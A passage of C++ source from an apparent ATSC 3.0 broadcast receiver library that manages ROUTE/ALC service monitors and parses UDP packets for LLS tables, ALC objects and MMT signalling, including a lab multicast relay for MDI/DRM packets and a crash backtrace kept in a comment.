lls_slt_service_id_t* lls_slt_service_id = lls_slt_service_id_new_from_atsc3_lls_slt_service(atsc3_lls_slt_service); lls_slt_monitor_add_lls_slt_service_id(lls_slt_monitor, lls_slt_service_id); lls_sls_alc_session_t* lls_sls_alc_session = lls_slt_alc_session_find_from_service_id(lls_slt_monitor, atsc3_lls_slt_service->service_id); if(!lls_sls_alc_session) { __ATSC3_CORE_SERVICE_PLAYER_BRIDGE_WARN("atsc3_core_service_player_bridge_set_single_monitor_a331_service_id: lls_slt_alc_session_find_from_service_id: lls_sls_alc_session is NULL!"); } lls_sls_alc_monitor->lls_alc_session = lls_sls_alc_session; lls_slt_monitor->lls_sls_alc_monitor = lls_sls_alc_monitor; lls_slt_monitor_add_lls_sls_alc_monitor(lls_slt_monitor, lls_sls_alc_monitor); } else { lls_slt_monitor_clear_lls_sls_alc_monitor(lls_slt_monitor); if(lls_slt_monitor->lls_sls_alc_monitor) { lls_sls_alc_monitor_free(&lls_slt_monitor->lls_sls_alc_monitor); } lls_sls_alc_monitor = NULL; } return atsc3_lls_slt_service; } //jjustman-2020-11-17 - NOTE: middleware app should invoke this any supplimental services needed for full ATSC 3.0 reception, e.g: // ESG, which would be SLT.Service@serviceCategory == 4, or // others as defined in A/331:2020 Table 6.4 atsc3_lls_slt_service_t* atsc3_core_service_player_bridge_add_monitor_a331_service_id(int service_id) { lls_sls_alc_monitor_t* lls_sls_alc_monitor_to_add = NULL; lock_guard<recursive_mutex> atsc3_core_service_player_bridge_context_mutex_local(atsc3_core_service_player_bridge_context_mutex); __ATSC3_CORE_SERVICE_PLAYER_BRIDGE_INFO("atsc3_core_service_player_bridge_add_monitor_a331_service_id: with service_id: %d", service_id); atsc3_lls_slt_service_t* atsc3_lls_slt_service = lls_slt_monitor_find_lls_slt_service_id_group_id_cache_entry(lls_slt_monitor, service_id); if(!atsc3_lls_slt_service) { __ATSC3_CORE_SERVICE_PLAYER_BRIDGE_ERROR("atsc3_core_service_player_bridge_add_monitor_a331_service_id: unable to find service_id: %d", service_id); return NULL; } //find our matching LLS service, then assign a monitor reference atsc3_slt_broadcast_svc_signalling_t* atsc3_slt_broadcast_svc_signalling_route_to_add_monitor = NULL; atsc3_slt_broadcast_svc_signalling_route_to_add_monitor = atsc3_slt_broadcast_svc_signalling_find_from_service_id(service_id); if(!atsc3_slt_broadcast_svc_signalling_route_to_add_monitor) { __ATSC3_CORE_SERVICE_PLAYER_BRIDGE_ERROR("atsc3_core_service_player_bridge_add_monitor_a331_service_id: atsc3_slt_broadcast_svc_signalling_find_from_service_id: unable to find atsc3_slt_broadcast_svc_signalling_route_to_add_monitor for service_id: %d", service_id); return NULL; } __ATSC3_CORE_SERVICE_PLAYER_BRIDGE_INFO("atsc3_core_service_player_bridge_add_monitor_a331_service_id: service_id: %d - adding ROUTE with flow: sip: %s, dip: %s:%s", service_id, atsc3_slt_broadcast_svc_signalling_route_to_add_monitor->sls_source_ip_address, atsc3_slt_broadcast_svc_signalling_route_to_add_monitor->sls_destination_ip_address, atsc3_slt_broadcast_svc_signalling_route_to_add_monitor->sls_destination_udp_port); lls_sls_alc_monitor_to_add = atsc3_lls_sls_alc_monitor_create_with_core_service_player_bridge_default_callbacks(atsc3_lls_slt_service); lls_slt_service_id_t* lls_slt_service_id = lls_slt_service_id_new_from_atsc3_lls_slt_service(atsc3_lls_slt_service); lls_slt_monitor_add_lls_slt_service_id(lls_slt_monitor, lls_slt_service_id); //jjustman-2020-11-17 - add lls_sls_alc_session_flows_v lls_sls_alc_session_t* lls_sls_alc_session = lls_slt_alc_session_find_from_service_id(lls_slt_monitor, atsc3_lls_slt_service->service_id); if(!lls_sls_alc_session) { __ATSC3_CORE_SERVICE_PLAYER_BRIDGE_WARN("atsc3_core_service_player_bridge_add_monitor_a331_service_id: lls_slt_alc_session_find_from_service_id: %d, lls_sls_alc_session is NULL!", service_id); return NULL; } lls_sls_alc_monitor_to_add->lls_alc_session = lls_sls_alc_session; lls_slt_monitor_add_lls_sls_alc_monitor(lls_slt_monitor, lls_sls_alc_monitor_to_add); //add in supplimentary callback hook for additional ALC emissions lls_sls_alc_monitor_to_add->atsc3_lls_sls_alc_on_object_close_flag_s_tsid_content_location_callback = &atsc3_lls_sls_alc_on_object_close_flag_s_tsid_content_location_ndk; //add a supplimentry sls_alc monitor // TODO: fix me? NOTE: do not replace the primary lls_slt_monitor->lls_sls_alc_monitor entry if set if(!lls_slt_monitor->lls_sls_alc_monitor) { lls_slt_monitor->lls_sls_alc_monitor = lls_sls_alc_monitor; } return atsc3_lls_slt_service; } atsc3_lls_slt_service_t* atsc3_core_service_player_bridge_remove_monitor_a331_service_id(int service_id) { lock_guard<recursive_mutex> atsc3_core_service_player_bridge_context_mutex_local(atsc3_core_service_player_bridge_context_mutex); if(!lls_slt_monitor->lls_sls_alc_monitor || !lls_slt_monitor->lls_sls_alc_monitor_v.count) { __ATSC3_CORE_SERVICE_PLAYER_BRIDGE_ERROR("atsc3_core_service_player_bridge_remove_monitor_a331_service_id: unable to remove service_id: %d, lls_slt_monitor->lls_sls_alc_monitor is: %p, lls_slt_monitor->lls_sls_alc_monitor_v.count is: %d", service_id, lls_slt_monitor->lls_sls_alc_monitor, lls_slt_monitor->lls_sls_alc_monitor_v.count); return NULL; } atsc3_lls_slt_service_t* lls_service_removed_lls_sls_alc_monitor = NULL; lls_sls_alc_monitor_t* my_lls_sls_alc_monitor_entry_to_release = NULL; if(lls_slt_monitor->lls_sls_alc_monitor && lls_slt_monitor->lls_sls_alc_monitor->atsc3_lls_slt_service->service_id == service_id) { my_lls_sls_alc_monitor_entry_to_release = lls_slt_monitor->lls_sls_alc_monitor; lls_slt_monitor->lls_sls_alc_monitor = NULL; } //remove lls_sls_alc_monitor entry //TODO: jjustman-2019-11-07: hack, move this into atsc3_vector_builder.h for(int i=0; i < lls_slt_monitor->lls_sls_alc_monitor_v.count && !my_lls_sls_alc_monitor_entry_to_release; i++) { lls_sls_alc_monitor_t* lls_sls_alc_monitor = lls_slt_monitor->lls_sls_alc_monitor_v.data[i]; if(lls_sls_alc_monitor->atsc3_lls_slt_service->service_id == service_id) { my_lls_sls_alc_monitor_entry_to_release = lls_sls_alc_monitor; for(int j=i + 1; j < lls_slt_monitor->lls_sls_alc_monitor_v.count; j++) { lls_slt_monitor->lls_sls_alc_monitor_v.data[j-1] = lls_slt_monitor->lls_sls_alc_monitor_v.data[j]; } lls_slt_monitor->lls_sls_alc_monitor_v.data[lls_slt_monitor->lls_sls_alc_monitor_v.count-1] = NULL; lls_slt_monitor->lls_sls_alc_monitor_v.count--; //clear out last entry } } if(my_lls_sls_alc_monitor_entry_to_release) { lls_service_removed_lls_sls_alc_monitor = my_lls_sls_alc_monitor_entry_to_release->atsc3_lls_slt_service; lls_sls_alc_monitor_free(&my_lls_sls_alc_monitor_entry_to_release); } return lls_service_removed_lls_sls_alc_monitor; } //jjustman-2020-09-02 - note: non-mutex protected method, expects caller to already own a mutex for lls_slt_monitor lls_sls_alc_monitor_t* atsc3_lls_sls_alc_monitor_get_from_service_id(int service_id) { if(!lls_slt_monitor->lls_sls_alc_monitor || !lls_slt_monitor->lls_sls_alc_monitor_v.count) { __ATSC3_CORE_SERVICE_PLAYER_BRIDGE_ERROR("atsc3_lls_sls_alc_monitor_get_from_service_id: error searching for service_id: %d, alc_monitor is null: lls_slt_monitor->lls_sls_alc_monitor is: %p, lls_slt_monitor->lls_sls_alc_monitor_v.count is: %d", service_id, lls_slt_monitor->lls_sls_alc_monitor, lls_slt_monitor->lls_sls_alc_monitor_v.count); return NULL; } lls_sls_alc_monitor_t* lls_sls_alc_monitor_to_return = NULL; for(int i=0; i < lls_slt_monitor->lls_sls_alc_monitor_v.count && !lls_sls_alc_monitor_to_return; i++) { lls_sls_alc_monitor_t* lls_sls_alc_monitor = lls_slt_monitor->lls_sls_alc_monitor_v.data[i]; if(lls_sls_alc_monitor->atsc3_lls_slt_service->service_id == service_id) { lls_sls_alc_monitor_to_return = lls_sls_alc_monitor; continue; } } if(!lls_sls_alc_monitor_to_return) { __ATSC3_CORE_SERVICE_PLAYER_BRIDGE_ERROR("atsc3_lls_sls_alc_monitor_get_from_service_id: service_id: %d, lls_sls_alc_monitor_to_return is null!", service_id); return NULL; } __ATSC3_CORE_SERVICE_PLAYER_BRIDGE_INFO("atsc3_lls_sls_alc_monitor_get_from_service_id: %d, returning lls_sls_alc_monitor_to_return: %p", service_id, lls_sls_alc_monitor_to_return); return lls_sls_alc_monitor_to_return; } atsc3_sls_metadata_fragments_t* atsc3_slt_alc_get_sls_metadata_fragments_from_monitor_service_id(int service_id) { lock_guard<recursive_mutex> atsc3_core_service_player_bridge_context_mutex_local(atsc3_core_service_player_bridge_context_mutex); lls_sls_alc_monitor_t* lls_sls_alc_monitor = atsc3_lls_sls_alc_monitor_get_from_service_id(service_id); if(!lls_sls_alc_monitor || !lls_sls_alc_monitor->atsc3_sls_metadata_fragments) { __ATSC3_CORE_SERVICE_PLAYER_BRIDGE_ERROR("atsc3_slt_alc_get_sls_metadata_fragments_from_monitor_service_id: service_id: %d, alc_monitor or fragments were null, lls_sls_alc_monitor: %p", service_id, lls_sls_alc_monitor); return NULL; } __ATSC3_CORE_SERVICE_PLAYER_BRIDGE_INFO("atsc3_slt_alc_get_sls_metadata_fragments_from_monitor_service_id: %d, returning atsc3_sls_metadata_fragments: %p", service_id, lls_sls_alc_monitor->atsc3_sls_metadata_fragments); return lls_sls_alc_monitor->atsc3_sls_metadata_fragments; } atsc3_route_s_tsid_t* atsc3_slt_alc_get_sls_route_s_tsid_from_monitor_service_id(int service_id) { lock_guard<recursive_mutex> atsc3_core_service_player_bridge_context_mutex_local(atsc3_core_service_player_bridge_context_mutex); lls_sls_alc_monitor_t* lls_sls_alc_monitor = atsc3_lls_sls_alc_monitor_get_from_service_id(service_id); if(!lls_sls_alc_monitor || !lls_sls_alc_monitor->atsc3_sls_metadata_fragments || !lls_sls_alc_monitor->atsc3_sls_metadata_fragments->atsc3_route_s_tsid) { __ATSC3_CORE_SERVICE_PLAYER_BRIDGE_ERROR("atsc3_slt_alc_get_sls_route_s_tsid_from_monitor_service_id: service_id: %d, alc_monitor or fragments or route_s_tsid were null, lls_sls_alc_monitor: %p", service_id, lls_sls_alc_monitor); return NULL; } __ATSC3_CORE_SERVICE_PLAYER_BRIDGE_INFO("atsc3_slt_alc_get_sls_route_s_tsid_from_monitor_service_id: %d, returning atsc3_route_s_tsid: %p", service_id, lls_sls_alc_monitor->atsc3_sls_metadata_fragments->atsc3_route_s_tsid); return lls_sls_alc_monitor->atsc3_sls_metadata_fragments->atsc3_route_s_tsid; } /** * else { lls_slt_monitor_clear_lls_sls_alc_monitor(lls_slt_monitor); if(lls_slt_monitor->lls_sls_alc_monitor) { lls_sls_alc_monitor_free(&lls_slt_monitor->lls_sls_alc_monitor); } * @param packet */ //jjustman-2020-08-18 - todo: keep track of plp_num's? void atsc3_core_service_bridge_process_packet_from_plp_and_block(uint8_t plp_num, block_t* block) { //jjustman-2021-01-19 - only process packets if we have a link mapping table for <flow, PLP> management if(!atsc3_link_mapping_table_last) { if((atsc3_link_mapping_table_missing_dropped_packets++ % 1000) == 0) { __ATSC3_CORE_SERVICE_PLAYER_BRIDGE_WARN("atsc3_core_service_bridge_process_packet_from_plp_and_block: dropping due to atsc3_link_mappping_table_last == NULL, plp: %d, dropped_packets: %d", plp_num, atsc3_link_mapping_table_missing_dropped_packets); } return; } atsc3_core_service_bridge_process_packet_phy(block); } int mdi_multicast_emission_fd = -1; struct sockaddr_in mdi_multicast_emission_addr = { 0 }; //void process_packet(u_char *user, const struct pcap_pkthdr *pkthdr, const u_char *packet) { void atsc3_core_service_bridge_process_packet_phy(block_t* packet) { lock_guard<recursive_mutex> atsc3_core_service_player_bridge_context_mutex_local(atsc3_core_service_player_bridge_context_mutex); //alc types lls_sls_alc_session_t* matching_lls_slt_alc_session = NULL; atsc3_alc_packet_t* alc_packet = NULL; bool has_matching_lls_slt_service_id = false; //mmt types lls_sls_mmt_session_t* matching_lls_sls_mmt_session = NULL; mmtp_packet_header_t* mmtp_packet_header = NULL; mmtp_asset_t* mmtp_asset = NULL; mmtp_packet_id_packets_container_t* mmtp_packet_id_packets_container = NULL; mmtp_mpu_packet_t* mmtp_mpu_packet = NULL; mmtp_signalling_packet_t* mmtp_signalling_packet = NULL; int8_t mmtp_si_parsed_message_count = 0; //udp_packet_t* udp_packet = udp_packet_process_from_ptr_raw_ethernet_packet(block_Get(packet), packet->p_size); udp_packet_t* udp_packet = udp_packet_process_from_ptr(block_Get(packet), packet->p_size); if(!udp_packet) { __ATSC3_CORE_SERVICE_PLAYER_BRIDGE_ERROR("atsc3_core_service_bridge_process_packet_phy: after udp_packet_process_from_ptr: unable to extract packet size: %d, i_pos: %d, 0x%02x 0x%02x", packet->p_size, packet->i_pos, packet->p_buffer[0], packet->p_buffer[1]); goto error; } //jjustman-2021-02-18 - special udp:port for MDI (DRM) support flow from lab at 239.255.50.69:31337 if(udp_packet->udp_flow.dst_ip_addr == 4026479173 && udp_packet->udp_flow.dst_port == 31337) { if((_ATSC3_CORE_SERVICE_PLAYER_BRIDGE_atsc3_core_service_bridge_process_packet_phy_got_mdi_counter++ < 10) || ((_ATSC3_CORE_SERVICE_PLAYER_BRIDGE_atsc3_core_service_bridge_process_packet_phy_got_mdi_counter % 100) == 0)) { __ATSC3_CORE_SERVICE_PLAYER_BRIDGE_INFO("atsc3_core_service_bridge_process_packet_phy: got MDI/DRM packet at 239.255.50.69:31337, raw packet: len: %d, i_pos: %d, 0x%02x 0x%02x, datagram: len: %d, i_pos: %d, 0x%02x 0x%02x, got_mdi_counter: %d", packet->p_size, packet->i_pos, packet->p_buffer[0], packet->p_buffer[1], udp_packet->data->p_size, udp_packet->data->i_pos, udp_packet->data->p_buffer[0], udp_packet->data->p_buffer[1], _ATSC3_CORE_SERVICE_PLAYER_BRIDGE_atsc3_core_service_bridge_process_packet_phy_got_mdi_counter); } if(mdi_multicast_emission_fd == -1) { mdi_multicast_emission_fd = socket(AF_INET, SOCK_DGRAM, 0); if (mdi_multicast_emission_fd < 0) { __ATSC3_CORE_SERVICE_PLAYER_BRIDGE_ERROR("atsc3_core_service_bridge_process_packet_phy: unable to open socket(AF_INET, SOCK_DGRAM, 0)"); goto error; } // set up destination address memset(&mdi_multicast_emission_addr, 0, sizeof(mdi_multicast_emission_addr)); mdi_multicast_emission_addr.sin_family = AF_INET; mdi_multicast_emission_addr.sin_addr.s_addr = inet_addr("239.255.50.69"); mdi_multicast_emission_addr.sin_port = htons(31337); } // now just sendto() our destination! char ch = 0; int nbytes = sendto(mdi_multicast_emission_fd, block_Get(udp_packet->data), block_Remaining_size(udp_packet->data), 0, (struct sockaddr*) &mdi_multicast_emission_addr, sizeof(mdi_multicast_emission_addr)); if (nbytes < 0) { __ATSC3_CORE_SERVICE_PLAYER_BRIDGE_ERROR("atsc3_core_service_bridge_process_packet_phy: unable to call sendto, nbytes: %d", nbytes); } goto cleanup; } //drop mdNS if(udp_packet->udp_flow.dst_ip_addr == UDP_FILTER_MDNS_IP_ADDRESS && udp_packet->udp_flow.dst_port == UDP_FILTER_MDNS_PORT) { goto cleanup; } //don't auto-select service here, let the lls_slt_monitor->atsc3_lls_on_sls_table_present event callback trigger in a service selection if(udp_packet->udp_flow.dst_ip_addr == LLS_DST_ADDR && udp_packet->udp_flow.dst_port == LLS_DST_PORT) { lls_table_t* lls_table = lls_table_create_or_update_from_lls_slt_monitor(lls_slt_monitor, udp_packet->data); if(lls_table) { if(lls_table->lls_table_id == SLT) { //capture our SLT services into alc and mmt session flows int retval = lls_slt_table_perform_update(lls_table, lls_slt_monitor); if(!retval) { lls_dump_instance_table(lls_table); } } else { __ATSC3_CORE_SERVICE_PLAYER_BRIDGE_INFO("atsc3_core_service_bridge_process_packet_phy: lls_table_id: %d", lls_table->lls_table_id); } } else { //LLS_table may not have been updated (e.g. lls_table_version has not changed) } goto cleanup; } __DEBUG("IP flow packet: dst_ip_addr: %u.%u.%u.%u:%u, pkt_len: %d", __toipnonstruct(udp_packet->udp_flow.dst_ip_addr), udp_packet->udp_flow.dst_port, udp_packet->data->p_size); //ALC: Find a matching SLS service from this packet flow, and if the selected atsc3_lls_slt_service is monitored, write MBMS/MPD and MDE's out to disk matching_lls_slt_alc_session = lls_slt_alc_session_find_from_udp_packet(lls_slt_monitor, udp_packet->udp_flow.src_ip_addr, udp_packet->udp_flow.dst_ip_addr, udp_packet->udp_flow.dst_port); //jjustman-2020-11-17 - TODO: filter this out to lls_slt_monitor->lls_slt_service_id_v for discrimination //(lls_sls_alc_monitor->atsc3_lls_slt_service->service_id == matching_lls_slt_alc_session->atsc3_lls_slt_service->service_id) // ((dst_ip_addr_filter != NULL && dst_ip_port_filter != NULL) && (udp_packet->udp_flow.dst_ip_addr == *dst_ip_addr_filter && udp_packet->udp_flow.dst_port == *dst_ip_port_filter))) { // if((lls_sls_alc_monitor && matching_lls_slt_alc_session && lls_sls_alc_monitor->atsc3_lls_slt_service && has_matching_lls_slt_service_id) || if(lls_sls_alc_monitor && matching_lls_slt_alc_session) { for (int i = 0; i < lls_slt_monitor->lls_slt_service_id_v.count && !has_matching_lls_slt_service_id; i++) { lls_slt_service_id_t *lls_slt_service_id_to_check = lls_slt_monitor->lls_slt_service_id_v.data[i]; /* * jjustman-2021-03-23 - add additional checks * Build fingerprint: 'qti/sdm660_64/sdm660_64:9/jjj/root02040230:userdebug/test-keys' Revision: '0' ABI: 'arm64' pid: 5327, tid: 5681, name: SaankhyaPHYAndr >>> com.nextgenbroadcast.mobile.middleware.sample <<< signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x0 Cause: null pointer dereference x0 0000000000000000 x1 00000000ac10c801 x2 00000000efff4601 x3 000000000000138d x4 00000073ed6d9054 x5 00000073ed6d67f8 x6 746163696c707061 x7 736d626d2f6e6f69 x8 00000073ed055b90 x9 0000000000000000 x10 000000000000138b x11 0000000000000001 x12 00000073eeaae851 x13 746163696c707061 x14 aaaaaaaaaaaaaaab x15 0000000000000001 x16 00000073eeaed6d0 x17 00000073ee9dd8b0 x18 0000000000000000 x19 00000073ed0574f0 x20 00000073ed0574f0 x21 00000073ed0574f0 x22 0000007402a9be90 x23 00000073edee8c10 x24 00000073ed057570 x25 00000073ecf5a000 x26 00000074915535e0 x27 000000000000000b x28 0000007fcbc4fc20 x29 00000073ed056e70 sp 00000073ed055430 lr 00000073eea9c528 pc 00000073eea9c5e0 backtrace: #00 pc 00000000001155e0 /data/app/com.nextgenbroadcast.mobile.middleware.sample-OXzmqynlUoyraucDnZ_FZg==/lib/arm64/libatsc3_core.so (atsc3_core_service_bridge_process_packet_phy+4192) #01 pc 0000000000114570 /data/app/com.nextgenbroadcast.mobile.middleware.sample-OXzmqynlUoyraucDnZ_FZg==/lib/arm64/libatsc3_core.so (atsc3_core_service_bridge_process_packet_from_plp_and_block+524) */ if(!lls_slt_service_id_to_check) { __ATSC3_CORE_SERVICE_PLAYER_BRIDGE_ERROR("lls_slt_service_id_to_check is NULL! index: %d, lls_slt_monitor->lls_slt_service_id_v.count: %d", i, lls_slt_monitor->lls_slt_service_id_v.count) } else if(!matching_lls_slt_alc_session->atsc3_lls_slt_service) { __ATSC3_CORE_SERVICE_PLAYER_BRIDGE_ERROR("matching_lls_slt_alc_session->atsc3_lls_slt_service is NULL! matching_lls_slt_alc_session: %p", matching_lls_slt_alc_session); } else if (lls_slt_service_id_to_check->service_id == matching_lls_slt_alc_session->atsc3_lls_slt_service->service_id) { has_matching_lls_slt_service_id = true; } } if (has_matching_lls_slt_service_id) { //parse and process ALC flow int retval = alc_rx_analyze_packet_a331_compliant((char *) block_Get(udp_packet->data), block_Remaining_size(udp_packet->data), &alc_packet); if (!retval) { //__DEBUG("atsc3_core_service_bridge_process_packet_phy: alc_packet: %p, tsi: %d, toi: %d", alc_packet, alc_packet->def_lct_hdr->tsi, alc_packet->def_lct_hdr->toi); //check our alc_packet for a wrap-around TOI value, if it is a monitored TSI, and re-patch the MBMS MPD for updated availabilityStartTime and startNumber with last closed TOI values atsc3_alc_packet_check_monitor_flow_for_toi_wraparound_discontinuity(alc_packet, lls_slt_monitor->lls_sls_alc_monitor); //keep track of our EXT_FTI and update last_toi as needed for TOI length and manual set of the close_object flag atsc3_route_object_t* atsc3_route_object = atsc3_alc_persist_route_object_lct_packet_received_for_lls_sls_alc_monitor_all_flows(alc_packet, lls_slt_monitor->lls_sls_alc_monitor); //persist to disk, process sls mbms and/or emit ROUTE media_delivery_event complete to the application tier if //the full packet has been recovered (e.g. no missing data units in the forward transmission) if (atsc3_route_object) { atsc3_alc_packet_persist_to_toi_resource_process_sls_mbms_and_emit_callback(&udp_packet->udp_flow, alc_packet, lls_slt_monitor->lls_sls_alc_monitor, atsc3_route_object); goto cleanup; } else { __ATSC3_CORE_SERVICE_PLAYER_BRIDGE_ERROR("atsc3_core_service_bridge_process_packet_phy: Error in ALC persist, atsc3_route_object is NULL!"); } } else { __ATSC3_CORE_SERVICE_PLAYER_BRIDGE_ERROR("atsc3_core_service_bridge_process_packet_phy: Error in ALC decode: %d", retval); } goto error; } } //jjustman-2020-11-12 - TODO: extract this core MMT logic out for ExoPlayer MMT native depacketization //MMT: Find a matching SLS service from this packet flow, and if the selected atsc3_lls_slt_service is monitored, enqueue for MFU DU re-constituion and emission matching_lls_sls_mmt_session = lls_sls_mmt_session_find_from_udp_packet(lls_slt_monitor, udp_packet->udp_flow.src_ip_addr, udp_packet->udp_flow.dst_ip_addr, udp_packet->udp_flow.dst_port); if(matching_lls_sls_mmt_session && lls_slt_monitor && lls_slt_monitor->lls_sls_mmt_monitor && lls_slt_monitor->lls_sls_mmt_monitor->transients.atsc3_lls_slt_service) { __ATSC3_CORE_SERVICE_PLAYER_BRIDGE_TRACE("atsc3_core_service_bridge_process_packet_phy: found candidate matching_lls_sls_mmt_session: %p, matching_lls_sls_mmt_session->atsc3_lls_slt_service->service_id: %d, lls_sls_mmt_monitor service_id: %d, checking flow: %u.%u.%u.%u:%u,", matching_lls_sls_mmt_session, matching_lls_sls_mmt_session->atsc3_lls_slt_service ? matching_lls_sls_mmt_session->atsc3_lls_slt_service->service_id : -1, lls_slt_monitor->lls_sls_mmt_monitor->transients.atsc3_lls_slt_service->service_id, __toipandportnonstruct(udp_packet->udp_flow.dst_ip_addr, udp_packet->udp_flow.dst_port)); } if(matching_lls_sls_mmt_session && lls_slt_monitor && lls_slt_monitor->lls_sls_mmt_monitor && matching_lls_sls_mmt_session->atsc3_lls_slt_service->service_id == lls_slt_monitor->lls_sls_mmt_monitor->transients.atsc3_lls_slt_service->service_id) { __ATSC3_CORE_SERVICE_PLAYER_BRIDGE_TRACE("atsc3_core_service_bridge_process_packet_phy: USING candidate matching_lls_sls_mmt_session: %p, matching_lls_sls_mmt_session->atsc3_lls_slt_service->service_id: %d, lls_sls_mmt_monitor service_id: %d, checking flow: %u.%u.%u.%u:%u,", matching_lls_sls_mmt_session, matching_lls_sls_mmt_session->atsc3_lls_slt_service ? matching_lls_sls_mmt_session->atsc3_lls_slt_service->service_id : -1, lls_slt_monitor->lls_sls_mmt_monitor->transients.atsc3_lls_slt_service->service_id, __toipandportnonstruct(udp_packet->udp_flow.dst_ip_addr, udp_packet->udp_flow.dst_port)); if(!atsc3_mmt_mfu_context) { goto error; } mmtp_packet_header = mmtp_packet_header_parse_from_block_t(udp_packet->data); if(!mmtp_packet_header) { goto error; } mmtp_packet_header_dump(mmtp_packet_header); //for filtering MMT flows by a specific packet_id if(dst_packet_id_filter && *dst_packet_id_filter != mmtp_packet_header->mmtp_packet_id) { goto error; } mmtp_asset = atsc3_mmt_mfu_context_mfu_depacketizer_context_update_find_or_create_mmtp_asset(atsc3_mmt_mfu_context, udp_packet, lls_slt_monitor, matching_lls_sls_mmt_session); mmtp_packet_id_packets_container = atsc3_mmt_mfu_context_mfu_depacketizer_update_find_or_create_mmtp_packet_id_packets_container(atsc3_mmt_mfu_context, mmtp_asset, mmtp_packet_header); if(mmtp_packet_header->mmtp_payload_type == 0x0) { mmtp_mpu_packet = mmtp_mpu_packet_parse_and_free_packet_header_from_block_t(&mmtp_packet_header, udp_packet->data); if(!mmtp_mpu_packet) { goto error; } if(mmtp_mpu_packet->mpu_timed_flag == 1) { mmtp_mpu_dump_header(mmtp_mpu_packet); __ATSC3_CORE_SERVICE_PLAYER_BRIDGE_TRACE("atsc3_core_service_bridge_process_packet_phy: mmtp_mfu_process_from_payload_with_context with udp_packet: %p, mmtp_mpu_packet: %p, atsc3_mmt_mfu_context: %p,", udp_packet, mmtp_mpu_packet, atsc3_mmt_mfu_context); mmtp_mfu_process_from_payload_with_context(udp_packet, mmtp_mpu_packet, atsc3_mmt_mfu_context); goto cleanup; } else { //non-timed - __ATSC3_CORE_SERVICE_PLAYER_BRIDGE_WARN("atsc3_core_service_bridge_process_packet_phy: mmtp_packet_header_parse_from_block_t - non-timed payload: packet_id: %u", mmtp_mpu_packet->mmtp_packet_id); goto error; } } else if(mmtp_packet_header->mmtp_payload_type == 0x2) { mmtp_signalling_packet = mmtp_signalling_packet_parse_and_free_packet_header_from_block_t(&mmtp_packet_header, udp_packet->data); if(!mmtp_signalling_packet) { __ATSC3_CORE_SERVICE_PLAYER_BRIDGE_WARN("atsc3_core_service_bridge_process_packet_phy: mmtp_signalling_packet_parse_and_free_packet_header_from_block_t - mmtp_signalling_packet was NULL for udp_packet: %p, udp_packet->p_size: %d", udp_packet, udp_packet->data->p_size); goto error; } mmtp_packet_id_packets_container = mmtp_asset_find_or_create_packets_container_from_mmtp_signalling_packet(mmtp_asset, mmtp_signalling_packet); if(mmtp_signalling_packet->si_fragmentation_indicator == 0x0) { //process this SI message in-line, no need for re-assembly mmtp_si_parsed_message_count = mmt_signalling_message_parse_packet(mmtp_signalling_packet, udp_packet->data); //but clear out any possible mmtp_signalling_packets being queued for re-assembly in mmtp_packet_id_packets_container mmtp_packet_id_packets_container_free_mmtp_signalling_packet(mmtp_packet_id_packets_container); } else { //TODO: jjustman-2019-10-03 - if signalling_packet == MP_table, set atsc3_mmt_mfu_context->mp_table_last; //if mmtp_signalling_packet.sl_fragmentation_indicator != 00, then // handle any fragmented signallling_information packets by packet_id, // persisting for depacketization into packet_buffer[] when si_fragmentation_indicator: // must start with f_i: 0x1 (01) // any non 0x0 (00) or 0x1 (01) with no packet_buffer[].length should be discarded // next packet contains: congruent packet_sequence_number (eg old + 1 (mod 2^32 for wraparound) == new) // f_i: 0x2 (10) -> append // f_i: 0x3 (11) -> check for completeness // -->should have packet_buffer[0].fragmentation_counter == packet_buffer[].length // mmtp_signalling_packet_process_from_payload_with_context(udp_packet, mmtp_signalling_packet, atsc3_mmt_mfu_context); if(mmtp_signalling_packet->si_fragmentation_indicator != 0x1 && mmtp_packet_id_packets_container->mmtp_signalling_packet_v.count == 0) { //we should never have a case where fragmentation_indicator is _not_ the first fragment of a signalling message and have 0 packets in the re-assembly vector, //it means we lost at least one previous DU for this si_messgae, so discard and goto error __ATSC3_CORE_SERVICE_PLAYER_BRIDGE_WARN("atsc3_core_service_bridge_process_packet_phy: mmtp_signalling_packet->si_fragmentation_indicator is: 0x%02x while mmtp_packet_id_packets_container->mmtp_signalling_packet_v.count is 0, discarding!", mmtp_signalling_packet->si_fragmentation_indicator); goto error; } //push our first mmtp_signalling_packet for re-assembly (explicit mmtp_signalling_packet->si_fragmentation_indicator == 0x1 (01)) if(mmtp_signalling_packet->si_fragmentation_indicator == 0x1 && mmtp_packet_id_packets_container->mmtp_signalling_packet_v.count == 0) { __ATSC3_CORE_SERVICE_PLAYER_BRIDGE_DEBUG("atsc3_core_service_bridge_process_packet_phy: mmtp_packet_id_packets_container_add_mmtp_signalling_packet - adding first entry, mmtp_signalling_packet: %p, mmtp_signalling_packet->si_fragmentation_indicator: 0x%02x, mmtp_signalling_packet->si_fragmentation_counter: %d (A: %d, H: %d)", mmtp_signalling_packet, mmtp_signalling_packet->si_fragmentation_indicator, mmtp_signalling_packet->si_fragmentation_counter, mmtp_signalling_packet->si_aggregation_flag, mmtp_signalling_packet->si_additional_length_header); mmtp_packet_id_packets_container_add_mmtp_signalling_packet(mmtp_packet_id_packets_container, mmtp_signalling_packet); mmtp_signalling_packet = NULL; goto cleanup; //continue on } else { mmtp_signalling_packet_t *last_mmtp_signalling_packet = mmtp_packet_id_packets_container->mmtp_signalling_packet_v.data[mmtp_packet_id_packets_container->mmtp_signalling_packet_v.count - 1]; //make sure our packet_sequence_number is sequential to our last mmtp_signalling_packet if((last_mmtp_signalling_packet->packet_sequence_number + 1) != mmtp_signalling_packet->packet_sequence_number) { __ATSC3_CORE_SERVICE_PLAYER_BRIDGE_WARN("atsc3_core_service_bridge_process_packet_phy: packet_sequence_number mismatch, discarding! last_mmtp_signalling_packet: %p, psn: %d (next: %d), frag: 0x%02x, frag_counter: %d, mmtp_signalling_packet: %p, psn: %d, frag: 0x%02x, frag_counter: %d", last_mmtp_signalling_packet, last_mmtp_signalling_packet->packet_sequence_number, (uint32_t)(last_mmtp_signalling_packet->packet_sequence_number+1), last_mmtp_signalling_packet->si_fragmentation_indicator, last_mmtp_signalling_packet->si_fragmentation_counter, mmtp_signalling_packet, mmtp_signalling_packet->packet_sequence_number, mmtp_signalling_packet->si_fragmentation_indicator, mmtp_signalling_packet->si_fragmentation_counter); mmtp_packet_id_packets_container_free_mmtp_signalling_packet(mmtp_packet_id_packets_container); goto error; } bool mmtp_signalling_packet_vector_valid = true; bool mmtp_signalling_packet_vector_complete = false; uint32_t mmtp_message_payload_final_size = 0; //check our vector sanity, and if we are "complete" 